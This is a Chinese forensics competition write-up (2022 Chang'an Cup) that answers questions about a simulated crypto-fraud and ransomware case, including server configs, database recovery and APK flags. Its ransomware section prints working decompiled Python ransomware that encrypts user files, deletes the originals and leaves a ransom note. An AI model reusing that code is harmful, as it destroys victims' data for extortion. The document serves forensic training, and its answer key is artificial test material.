容器加挂密码:2022.4th.changancup!
案件背景:
某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用”USTD币“购买所谓的"HT币”,受害人充值后不但 “HT币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。
检材1
根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题
1 、检材1的SHA256值为
9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34
2 、分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2
172.16.80.100
3 、检材1中,操作系统发行版本号为
7.5.1804
仿真时可见
4 、检材1系统中,网卡绑定的静态IP地址为
172.16.80.133
5 、检材1中,网站jar包所存放的目录是
/web/app/
从历史命令中可以推断出来
1、java -jar /web/app/exchange.jar
直接启动jar文件,进程终止就停止,不持续运行
2、nohup java -jar /web/app/cloud.jar >/dev/null 2>&1 &
不挂断地运行jar文件,标准错误和标准输出都导入文件nohup.out,持续运行
6 、检材1中,监听7000端口的进程对应文件名为
cloud.jar
可以查看各个jar文件的application.properties(全局配置文件)
也可以通过运行jar包,查看启动了哪个端口来判断,具体运行jar包的过程详见下面的网站重构过程
启动完之后可以发现7000端口的PID是2068,搜索PID为2068的进程,可以发现就是cloud.jar
7 、检材1中,网站管理后台页面对应的网络端口为
9090
检材二中有相应的后台管理记录
8 、检材1中,网站前台页面里给出的APK的下载地址是
https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1
在网站的图片中找到了一个名为app_qrcode.png的二维码,扫描一下弹出ZTuo_Exchange.apk的下载链接https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1
9 、检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?
md5
将几个jar包导出,搜索password
password = Encrypt.MD5(password + this.md5Key);
密码加上md5key后整体进行MD5加密
10 、分析检材1,网站管理后台登录密码加密算法中所使用的盐值是
XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs
在admin-api.jar的配置文件application.properties末尾找到了
server.port=6010
server.context-path=/admin
spring.application.name=admin
#datasource
spring.datasource.url=jdbc:mysql://172.16.80.128:33050/b1?characterEncoding=utf-8
spring.datasource.username=root
spring.datasource.password=shhl7001
spring.datasource.driver-class-name=com.mysql.jdbc.Driver
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.initialSize=5
spring.datasource.minIdle=5
spring.datasource.maxActive=200
spring.datasource.maxWait=60000
spring.datasource.timeBetweenEvictionRunsMillis=60000
spring.datasource.minEvictableIdleTimeMillis=300000
spring.datasource.validationQuery=SELECT 1
spring.datasource.testWhileIdle=true
spring.datasource.testOnBorrow=false
spring.datasource.testOnReturn=false
spring.datasource.poolPreparedStatements=true
spring.datasource.maxPoolPreparedStatementPerConnectionSize=20
spring.datasource.filters=stat,wall,log4j
#jpa
spring.jpa.show-sql=true
spring.data.jpa.repositories.enabled=true
#spring.jpa.hibernate.ddl-auto=update
#mongodb
spring.data.mongodb.uri=mongodb://172.16.80.128:27017/bizzan
#kafka
spring.kafka.bootstrap-servers=172.16.80.128:9092
# \u91CD\u4F20\u6B21\u6570
spring.kafka.producer.retries=0
# \u6BCF\u6B21\u6279\u5904\u7406\u7684\u5927\u5C0F
spring.kafka.producer.batch.size=256
#linger\u6307\u5B9A\u7684\u65F6\u95F4\u7B49\u5F85\u66F4\u591A\u7684records\u51FA\u73B0
spring.kafka.producer.linger=1
# \u7F13\u5B58\u6570\u636E\u7684\u5185\u5B58\u5927\u5C0F
spring.kafka.producer.buffer.memory=1048576
spring.kafka.consumer.enable.auto.commit=false
spring.kafka.consumer.session.timeout=15000
spring.kafka.consumer.auto.commit.interval=100
spring.kafka.consumer.auto.offset.reset=earliest
spring.kafka.consumer.group.id=default-group
spring.kafka.consumer.concurrency=9
spring.kafka.consumer.maxPollRecordsConfig=50
spring.devtools.restart.enabled=true
#redis
redis.hostName=172.16.80.128
redis.port=6379
redis.password=
#upload
spring.http.multipart.maxFileSize=10MB
spring.http.multipart.maxRequestSize=10MB
#eureka
eureka.client.serviceUrl.defaultZone=http://127.0.0.1:7000/eureka/
eureka.instance.prefer-ip-address=true
management.context-path=/monitor
management.security.enabled=false
security.user.name=ztuoCn
security.user.password=qwertyuiopASDFGHJKL
#json
spring.jackson.serialization.indent_output=true
spring.jackson.date-format=yyyy-MM-dd HH:mm:ss
spring.jackson.time-zone=GMT+8
# default-store in spring session. it will be set in redis only outside.
spring.session.store-type=none
#sms
sms.driver=yunpian
sms.gateway=https://sms.yunpian.com/v2/sms/single_send.json
sms.username=
sms.password=
sms.sign=
#aliyun config
aliyun.accessKeyId=
aliyun.accessKeySecret=
#\u5916\u7F51\u5730\u5740
aliyun.ossEndpoint=
aliyun.ossBucketName=
# system
bdtop.system.md5.key=XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs
coin.not.sync=ETH
google.auth.url=ztuo.fcoincn.com
bdtop.system.work-id=1
bdtop.system.data-center-id=1
同时在这个文件中还能提取出其他信息,网站使用mysql,所在服务器的ip是172.16.80.128,端口是33050,网站使用的数据库是b1,用户名是root,密码是shhl7001,还有一个数据库是redis,端口号是6379,还有一个是mongodb
检材2
根据IP地址落地及后续侦查,抓获了搭建网站的技术员,扣押了其个人电脑并制作镜像“检材2”,分析所有掌握的检材回答下列问题
11 检材2中,windows账户Web King的登录密码是
135790
12 检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3
172.16.80.128
检材1是172.16.80.133,xshell还连接了172.16.80.128
13 检材2中,powershell中输入的最后一条命令是
ipconfig
百度一下powershell的历史命令存储在%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt中
14 检材2中,下载的涉案网站源代码文件名为
ZTuoExchange_framework-master.zip
谷歌浏览器里有相应的zip下载记录,导出文件
goDCE-master是数字货币交易所
huobi-autotrading-master是火币网自动化交易工具
ZTuoExchange_framework-master是ZTuo数字资产交易平台
ZTuoExchange_framework-master解压后看起来挺像的样子,不过真正肯定还是因为后面网站重构了以后3001端口对应的网页标题是ztuo
15 检材2中,网站管理后台root账号的密码为
root
后台管理网址对应的账号密码
16 检材2中,技术员使用的WSL子系统发行版本是
20.04
wsl -l -v
17 检材2中,运行的数据库服务版本号是
8.0.30
b1的版本号不同,但b1是检材3数据库的备份不是检材2的
18 上述数据库debian-sys-maint用户的初始密码是
ZdQfi7vaXjHZs75M
百度了一下数据库debian-sys-maint用户的初始密码存储在/etc/mysql/debian.cnf中
(转)MySQL - 在Ubuntu下密码初始化_51CTO博客_linux mysql初始化
19 检材3服务器root账号的密码是
h123456
检材3服务器ip是172.16.80.128,ssh连接过检材3,密码是h123456
检材3
根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器IP并再次调证取得“检材3”,分析所有掌握的检材回答下列问题
20 检材3中,监听33050端口的程序名(program name)为
docker-proxy
21 除MySQL外,该网站还依赖以下哪种数据库
Redis.MongoDB
见第10题
22 检材3中,MySQL数据库root账号的密码是
shhl7001
见第10题
23 检材3中,MySQL数据库在容器内部的数据目录为
/var/lib/mysql
容器内部的mysql,先进入容器docker exec -it mysql57 /bin/bash,发现有4个路径
只有/etc/mysql里面有配置文件,进去找一圈,mysqld.cnf倒数第6行datadir是mysql的数据目录
也可以去查看docker-compose.yml,docker-compose是用来管理docker容器的
12行的datadir直接显示容器内部mysql的数据目录,倒数第3行显示外部/data/mysql/db映射到容器内部数据库目录/var/lib/mysql里面
24 涉案网站调用的MySQL数据库名为
b1
见第10题
25 勒索者在数据库中修改了多少个用户的手机号?
3
查看数据库日志,通过第23题的分析,容器外部数据库目录是/data/mysql/,进去后直接找到数据库日志/data/mysql/db/8eda4cb0b452.log
2022-10-19T03:20:39.001499Z 13 Query UPDATE `b1`.`member` SET `mobile_phone` = '13638991111' WHERE `id` = 9
2022-10-19T03:20:41.851525Z 13 Query UPDATE `b1`.`member` SET `mobile_phone` = '13282992222' WHERE `id` = 10
2022-10-19T03:20:44.184953Z 13 Query UPDATE `b1`.`member` SET `mobile_phone` = '13636993333' WHERE `id` = 11
26 勒索者在数据库中删除的用户数量为
28
同样是日志中,1000-973+1=28
27 还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压检材4
172.16.80.197
检材3中的网站后台数据库b1都被删除了,检材2中有备份
对检材2中的b1数据库用弘连自带的工具直接进行数据库分析,admin_access_log表中只有172.16.80.100和172.16.80.197两个ip
检材1的登录ip是172.16.80.100,这个ip是技术员,172.16.80.197就是答案,这个ip应该是老板的ip
28 还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为
cee631121c2ec9232f3a2f028ad5c89b
在member_wallet表中找到,这个直接找就行
29 还原全部被删改数据,共有多少名用户的会员等级为'LV3'
164
这一题需要还原表中数据,navicat中member表的数据为空(navicat连接过程见网站重构),在mysql日志中发现了向member中添加数据的痕迹
此处直接复制然后粘贴到excel中即可,excel根据空格直接把内容分为了3列,方便了许多,注意语句后面加分号,还原member中数据后,查询一下就行
“SELECT count(member_grade_id) FROM member WHERE member_grade_id=3”
30 还原全部被删改数据,哪些用户ID没有充值记录
318.989
SELECT id from member where id not in (select member_id from member_transaction)
31 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录?
1000
select count(*) from member_transaction where create_time BETWEEN "2022-10-17 00:00:00" and "2022-10-17 23:59:59"
32 还原全部被删改数据,该网站中充值的USDT总额为
408228
select sum(amount) from member_transaction
网站重构
在检材2中发现一个建站笔记
“这个网站必须先启动后端全部组件,再启动前端,而且启动jar包还有顺序”
前端是检材1-172.16.80.133,后端是检材3-172.16.80.128
数据库:
通过第10题的分析,后台数据库是b1,通过第23题的分析,/data/mysql/db映射到容器内部数据库目录/var/lib/mysql,则将数据库放进/data/mysql/db即可
xftp连接检材3,刚开始连接不上,发现主机与检材3ping不通,后来更改了本地VMnet8ip为172.16.80.1,能ping通了,之后成功连接
成功导入b1数据库
用navicat连接,常规密码填shhl7001,SSH密码填123456
连接成功
启动后端jar包
检材1中的历史命令有这两条,应该就是启动jar包的脚本文件
后续又给这个文件删除了
在检材3的历史命令中也看到了相同的情况
搜索一下在检材2建站笔记相同的位置找到了start_web.sh和start.sh两个脚本文件,start_web.sh启动检材1,start.sh启动检材3,将start_web.sh放进检材1中和jar包相同的位置/web/app/,start.sh放进了/web中
先赋予权限再运行
检材1
检材3
启动前端
检材1的历史命令中频繁出现npm run dev,用于启动vue项目,启动完之后即可访问网页,参考解读 vue-cli 脚手架(一):npm run dev的背后_Abner'的博客-CSDN博客_npm run dev
cd /web/app/web、npm run dev启动完前端之后,显示登录网址是检材1ip+3001端口
成功,里面没有任何数据
通过检材2中浏览器里的记录,后台登录是9090端口,账号密码都是root,里面有一些相应的数据
检材4
根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器“检材4”进行了固定。分析所有掌握的检材,回答下列问题
33 嫌疑人使用的安卓模拟器软件名称是
夜神.nox
夜神模拟器,将这个备份文件导入夜神模拟器就可以正常看到信息
34 检材4中,“老板”的阿里云账号是
forensixtech1
检材4.npbk解压后用弘连进行分析,直接搜索阿里云
35 检材4中安装的VPN工具的软件名称是
v2Ray
36 上述VPN工具中记录的节点IP是
38.68.135.18
见上题图
37 检材4中,录屏软件安装时间为
2022/10/19 10:50:27
38 上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为
0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191
录屏软件相关数据位于分区4/data/com.jiadi.luping中,在databases中的record.db数据库记录了与s_20221019105129录像相关的信息
39 上述录屏软件登录的手机号是
18645091802
接上题把record.db和相关的record.db-shm(日志)、record.db-wal(共享内存)都导出,用navicat连接record.db,可找到手机号
.db-shm和.db-wal文件_qq_35417527的博客-CSDN博客_db-wal
还有(13条消息) 2022长安杯wp_SDPCTRM的博客-CSDN博客
提及可以直接注销账号,emm没找到在哪
40 检材4中,发送勒索邮件的邮箱地址为
skterran@163.com
勒索邮件中被加密的文档和对应的加/解密程序
分析所有掌握的检材,找到勒索邮件中被加密的文档和对应的加/解密程序,并回答下列问题
勒索邮件在检材2中,被加密的文档是数据下载地址.docx_encrypted
搜索一下跳转回原始位置,还能找到加解密程序decrypt_file.exe和encrypt_file.exe
41 分析加密程序,编译该加密程序使用的语言是
python
decrypt_file.exe和encrypt_file.exe都是python,开了火绒encrypt_file.exe直接见光死
42 分析加密程序,它会txt.jpg.docx.xls加密哪些扩展名的文件?
pyinstaller打包程序
用pyinstxtractor.py解包,参考Pyhon解包及反编译: PyInstaller Extractor+uncompyle6 - 知乎 (zhihu.com)和2022长安杯wp - WXjzc - 博客园 (cnblogs.com)
pyinstxtractor/pyinstxtractor.py at master · extremecoders-re/pyinstxtractor · GitHubpyinstxtractor.py详见pyinstxtractor/pyinstxtractor.py at master · extremecoders-re/pyinstxtractor · GitHub
得到反编译文件encrypt_file_1.pyc,此时进行反编译会显示部分反编译不成功
encrypt_file_1.pyc文件头与同样生成的struct.pyc 文件头不一致(E3以前是文件头)
更改成相同的文件头
用uncompyle6进行反编译,(安装:pip install uncompyle6,可能需要升级pip:python.exe -m pip install --upgrade pip),之后用powershell进行反编译uncompyle6 .\encrypt_file_1.pyc >123.py
反编译成功
# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul 8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: encrypt_file_1.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----\n(有风险提示所以删除只留下后5位)u+w==\n-----END PUBLIC KEY-----\n'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"
class XORCBC:
def __init__(self, key: bytes):
self.key = bytearray(key)
self.cur = 0
def encrypt(self, data: bytes) -> bytes:
data = bytearray(data)
for i in range(len(data)):
tmp = data[i]
data[i] ^= self.key[self.cur]
self.key[self.cur] = tmp
self.cur = (self.cur + 1) % len(self.key)
return bytes(data)
print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')
def run_finall():
for filepath, dirnames, filenames in os.walk(os.getcwd()):
for filename in filenames:
if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
ExtensionPath = os.path.splitext(filename)[(-1)]
if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:
time.sleep(3)
data_file = os.path.join(filepath, filename)
rsakey = RSA.import_key(pubkey)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
xor_key = os.urandom(16)
xor_obj = XORCBC(xor_key)
outf = open(data_file + '_encrypted', 'wb')
encrypted_xor_key = cipher.encrypt(xor_key)
outf.write(encrypted_xor_key)
buffer_size = 4096
with open(data_file, 'rb') as (f):
while True:
data = f.read(buffer_size)
if not data:
break
outf.write(xor_obj.encrypt(data))
outf.close()
os.remove(data_file)
run_finall()
def redme():
try:
dir = os.path.join(os.path.expanduser('~'), 'Desktop')
print(dir)
with open(dir + '/!READ_ME.txt', 'w') as (ff):
ff.write(msg)
except:
dir1 = os.getcwd()
print(dir1)
with open(dir1 + '/!READ_ME.txt', 'w') as (ff):
ff.write(msg)
print('\n加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')
# okay decompiling .\encrypt_file_1.pyc
其中有一行“if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:”直接指出是对txt.jpg.docx.xls的文件进行加密
43 分析加密程序,是通过什么算法对文件进行加密的?
异或
上题部分代码
def encrypt(self, data: bytes) -> bytes:
data = bytearray(data)
for i in range(len(data)):
tmp = data[i]
data[i] ^= self.key[self.cur]
self.key[self.cur] = tmp
self.cur = (self.cur + 1) % len(self.key)
文件内容data与key进行异或,类名是XORCBC,也可以看出
44 分析加密程序,其使用的非对称加密方式公钥后5位为?
u+w==
见42题
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'
45 被加密文档中,FLAG1的值是
TREFWGFS
打开解密程序发现需要输入密码
同样是用pyinstaller打包程序
pyinstxtractor.py解包
更改文件头
uncompyle6反编译
# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul 8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: decrypt_file_1.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
prikey = '-----BEGIN RSA PRIVATE KEY-----\n(有风险提示,所以删除)\n-----END RSA PRIVATE KEY-----\n'
class XORCBC:
def __init__(self, key: bytes):
self.key = bytearray(key)
self.cur = 0
def decrypt(self, data: bytes) -> bytes:
data = bytearray(data)
for i in range(len(data)):
data[i] ^= self.key[self.cur]
self.key[self.cur] = data[i]
self.cur = (self.cur + 1) % len(self.key)
return bytes(data)
def run_decrypt():
print('解密程序 V1.0\n')
present = input('请输入密码:')
if present == '4008003721':
for filepath, dirnames, filenames in os.walk(os.getcwd()):
for filename in filenames:
if '_encrypted' in filename:
print(os.path.join(filepath, filename) + '-解密成功')
data_file = os.path.join(filepath, filename)
data_handle = open(data_file, 'rb')
rsakey = RSA.import_key(prikey)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
xor_key = cipher.decrypt(data_handle.read(256), '')
xor_obj = XORCBC(xor_key)
outname = data_file.replace('_encrypted', '')
outf = open(outname, 'wb')
buffer_size = 4096
while True:
data = data_handle.read(buffer_size)
if not data:
break
outf.write(xor_obj.decrypt(data))
outf.close()
print('\n恭喜您,解密成功~~~~~~~~~~~~~~~')
os.system('pause')
else:
print('\n密码错误~~~~~~~~~~~~~~~')
run_decrypt()
run_decrypt()
# okay decompiling .\decrypt_file_1.pyc
密码是4008003721,解密成功,得到FLAG1:TREFWGFS
加密勒索apk程序
分析所有掌握的检材,找到报案人描述的加密勒索apk程序,分析并回答下列问题
46 恶意APK程序的包名为
cn.forensix.changancup
根据第8题获得的链接,用雷电APP进行分析
47 APK调用的权限包括
READ_EXTERNAL_STORAGE;WRITE_EXTERNAL_STORAGE;
48 解锁第一关所使用的FLAG2值为
MATSFRKG
雷电app脱壳后反编译进行分析
这里的一键脱壳功能需要开启ROOT权限,在雷电模拟器中,之后就顺理成章了
直接搜索flag2就出来了
49 解锁第二关所使用的FLAG3值为
TDQ2UWP9
50 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值
a_asd./1imc2)dd1234]_+=